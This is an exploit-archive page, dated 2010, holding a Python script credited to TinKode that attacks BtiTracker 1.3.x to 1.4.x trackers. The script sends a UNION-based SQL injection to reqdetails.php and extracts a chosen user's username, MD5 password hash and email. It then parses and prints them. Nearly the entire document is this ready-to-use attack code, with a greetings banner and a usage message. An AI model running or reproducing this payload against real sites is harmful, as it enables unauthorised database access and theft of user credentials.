[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : BtiTracker 1.3.X - 1.4.X Exploit
# Published : 2010-06-09
# Author : TinKode
# Previous Title : PHP Property Rental Script SQLi & XSS Vulnerability
# Next Title : Real-time ASP Calendar SQL Injection Vulnerability


#!/usr/bin/env python
# 
################################################################################
# ______          ____                                      __      [ xpl0it ] #
#/__  _        /  _`                                 __/ __              #
#/_/ /     ___ ,L_     __    ___   __  __  _ __ /_  ,_  __  __     #
#        /' _ `/___    /'__` /'___/ / /`'__/   / / /     #
#    _ __/ / / L /  __// __/  _   /     _  _    #
#    /_____ _ _ `____ ____ ____\ ____/ _   _ __\/`____   #
#    /_____//_//_//_____//____//____/ /___/  /_/   /_//__/ `/___/>  #
#                                                   _________________   /___/ #
#                                                   www.insecurity.ro   /__/  #
#                                                                              # 
################################################################################ 
#                    [ BtiTracker 1.3.X - 1.4.X Exploit ]                      # 
#    Greetz: daemien, Sirgod, Puscas_Marin, AndrewBoy, Ras, HrN, vilches       #
#    Greetz: excess, E.M.I.N.E.M, flo flow, paxnWo, begood, and ISR Staff      # 
################################################################################ 
#                   Because we care, we're security aware                      # 
################################################################################ 

import sys, urllib2, re
 
if len(sys.argv) < 2:
    print "==============================================================="
    print "============== BtiTracker 1.3.X - 1.4.X Exploit ==============="
    print "==============================================================="
    print "=               Discovered and coded by TinKode               ="      
    print "=                     www.InSecurity.ro                       ="
    print "=                                                             ="
    print "= Local Command:                                              ="
    print "= ./isr.py [http://webshit] [ID]                              ="
    print "=                                                             ="
    print "==============================================================="
    exit()
 
if len(sys.argv) < 3:
    id = 1
else:
    id = sys.argv[2]
 
shit = sys.argv[1]
if shit[-1:] != "/":
    shit += "/"
 
url = shit + "reqdetails.php?id=-1337+and+1=0+union+all+select+1,2,3,
concat(0x2d,0x2d,username,0x3a,password,0x3a,email,0x2d,0x2d)
,5,6,7,8,9,10+from+users+where+ID=" + str(id) + "--"
print "n"
print "============================================="
print "================= InSecurity ================"
print "============================================="
 
html = urllib2.urlopen(url).read()
slobod = re.findall(r"--(.*):([0-9a-fA-F]{32}):(.*)--", html)
if len(slobod) > 0:
    print "ID       : " + str(id)
    print "Username : " + slobod[0][0]
    print "Password : " + slobod[0][1]
    print "EMail    : " + slobod[0][2] 
    print "============================================="
    print "================= InSecurity ================"
    print "============================================="
else:
    print "Ai luat-o la gaoaza..."
    
#InSecurity.ro - Romania